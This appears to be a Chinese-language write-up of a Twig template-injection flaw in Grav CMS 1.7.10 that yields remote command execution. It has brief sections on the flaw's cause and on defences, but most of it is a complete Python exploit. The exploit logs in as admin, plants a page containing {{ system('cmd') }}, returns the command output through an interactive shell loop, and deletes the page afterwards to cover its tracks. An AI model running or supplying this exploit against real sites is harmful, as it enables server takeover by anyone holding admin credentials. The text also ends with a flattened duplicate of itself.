Grav CMS 1.7.10 模版注入
字数 845 2025-08-09 22:00:34

Grav CMS 1.7.10 模板注入漏洞分析与利用

漏洞概述

Grav CMS 1.7.10 版本存在模板注入漏洞,攻击者可以通过后台编辑页面内容时注入Twig模板代码,导致远程代码执行(RCE)。该漏洞需要管理员权限,且Twig模板处理功能必须开启。

环境搭建

  1. 使用Docker搭建Grav CMS 1.7.10环境
  2. 该CMS不需要数据库,数据直接存储在文件中
  3. 关键配置:必须在环境配置中开启Twig选项

漏洞复现步骤

1. 认证登录

首先需要获取管理员凭据并登录后台:

username = 'admin'
password = 'Admin888'
url = 'http://127.0.0.1'
session = requests.Session()

# 获取登录nonce
r = session.get(url + "/admin")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[2])[47:79]

# 构造登录payload
payload = f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = session.post(url+"/admin", data=payload, headers=headers)

2. 创建包含恶意模板的页面

def rce(url, cmd):
    # 生成随机项目名
    project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
    
    # 获取表单nonce和唯一form_id
    r = session.get(url+f"/admin/pages/{project_name}/:add")
    soup = BeautifulSoup(r.text, features="lxml")
    form_id = str(soup.findAll('input')[-2])[54:86]
    nonce = str(soup.findAll('input')[-1])[46:78]
    
    # 构造包含Twig模板注入的payload
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&...'
    
    # 发送创建页面的请求
    r = session.post(url+f"/admin/pages/{project_name}/:add", data=payload, headers=headers)
    
    # 访问创建的页面获取命令执行结果
    r = session.get(url+f"/{project_name.lower()}")
    if 'SyntaxError' in r.text:
        print("[-] Command error")
    else:
        # 解析并输出命令执行结果
        a = r.text.split('<section id="body-wrapper" class="section">')
        b = a[1].split('</section>')
        print(b[0][58:])

3. 清理创建的页面

# 获取admin-nonce
r = session.get(url + "/admin/pages")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[32])[47:79]

# 删除创建的页面
r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")

手动复现步骤

  1. 使用管理员凭据登录后台
  2. 选择"Pages"并新建一个页面
  3. 随机输入标题等数据
  4. 在"Content"部分输入Twig模板注入payload:{{ system('command') }}
  5. 保存页面
  6. 访问该页面即可执行命令

漏洞分析

关键点

  1. Twig模板引擎:Grav CMS使用Twig作为模板引擎
  2. Twig语法
    • {{ }} - 打印表达式的输出结果
    • {% %} - 执行语句
  3. 配置要求:必须在/user/config/system.yaml中开启Twig处理选项

漏洞原理

  1. 后台编辑页面内容时,可以注入Twig模板代码
  2. 当Twig处理功能开启时,CMS会解析这些模板代码
  3. 使用system()函数可以执行任意系统命令
  4. 页面内容存储在user/pages/目录下的Markdown文件中

技术细节

  1. 页面以Markdown语法构成,通过解析转换为HTML
  2. 后台编辑新页面时会生成文件夹并使用默认模板格式
  3. 关键配置位于/user/config/system.yaml,需要设置Twig为true

防御措施

  1. 及时更新Grav CMS到最新版本
  2. 如果不需要Twig模板功能,关闭相关选项
  3. 严格控制管理员账户权限
  4. 对用户输入进行严格过滤,特别是模板内容

参考文档

完整EXP代码

import requests
from bs4 import BeautifulSoup
import random
import string

username = 'admin'
password = 'Admin888'
url = 'http://127..0.1'
session = requests.Session()

# Autheticating
def login(url,username,password):
    r = session.get(url + "/admin")
    soup = BeautifulSoup(r.text, features="lxml")
    nonce = str(soup.findAll('input')[2])
    nonce = nonce[47:79]
    
    payload = f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = session.post(url+"/admin",data=payload,headers=headers)

# Creating Page for RCE
def rce(url,cmd):
    project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
    r = session.get(url+f"/admin/pages/{project_name}/:add")
    soup = BeautifulSoup(r.text, features="lxml")
    form_id = str(soup.findAll('input')[-2])
    nonce = str(soup.findAll('input')[-1])
    form_id = form_id[54:86]
    nonce = nonce[46:78]

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
    r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)

    r = session.get(url+f"/{project_name.lower()}")
    if 'SyntaxError' in r.text:
        print("[-] Command error")
    else:
        a = r.text.split('<section id="body-wrapper" class="section">')
        b = a[1].split('</section>')
        print(b[0][58:])

    # Cleaning up
    r = session.get(url + "/admin/pages")
    soup = BeautifulSoup(r.text, features="lxml")
    nonce = str(soup.findAll('input')[32])
    nonce = nonce[47:79]
    r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")

login(url,username,password)
while True:
    cmd = input("$ ")
    rce(url,cmd)
Grav CMS 1.7.10 模板注入漏洞分析与利用 漏洞概述 Grav CMS 1.7.10 版本存在模板注入漏洞,攻击者可以通过后台编辑页面内容时注入Twig模板代码,导致远程代码执行(RCE)。该漏洞需要管理员权限,且Twig模板处理功能必须开启。 环境搭建 使用Docker搭建Grav CMS 1.7.10环境 该CMS不需要数据库,数据直接存储在文件中 关键配置 :必须在环境配置中开启Twig选项 漏洞复现步骤 1. 认证登录 首先需要获取管理员凭据并登录后台: 2. 创建包含恶意模板的页面 3. 清理创建的页面 手动复现步骤 使用管理员凭据登录后台 选择"Pages"并新建一个页面 随机输入标题等数据 在"Content"部分输入Twig模板注入payload: {{ system('command') }} 保存页面 访问该页面即可执行命令 漏洞分析 关键点 Twig模板引擎 :Grav CMS使用Twig作为模板引擎 Twig语法 : {{ }} - 打印表达式的输出结果 {% %} - 执行语句 配置要求 :必须在 /user/config/system.yaml 中开启Twig处理选项 漏洞原理 后台编辑页面内容时,可以注入Twig模板代码 当Twig处理功能开启时,CMS会解析这些模板代码 使用 system() 函数可以执行任意系统命令 页面内容存储在 user/pages/ 目录下的Markdown文件中 技术细节 页面以Markdown语法构成,通过解析转换为HTML 后台编辑新页面时会生成文件夹并使用默认模板格式 关键配置位于 /user/config/system.yaml ,需要设置Twig为 true 防御措施 及时更新Grav CMS到最新版本 如果不需要Twig模板功能,关闭相关选项 严格控制管理员账户权限 对用户输入进行严格过滤,特别是模板内容 参考文档 Twig官方文档 Grav CMS官方文档 完整EXP代码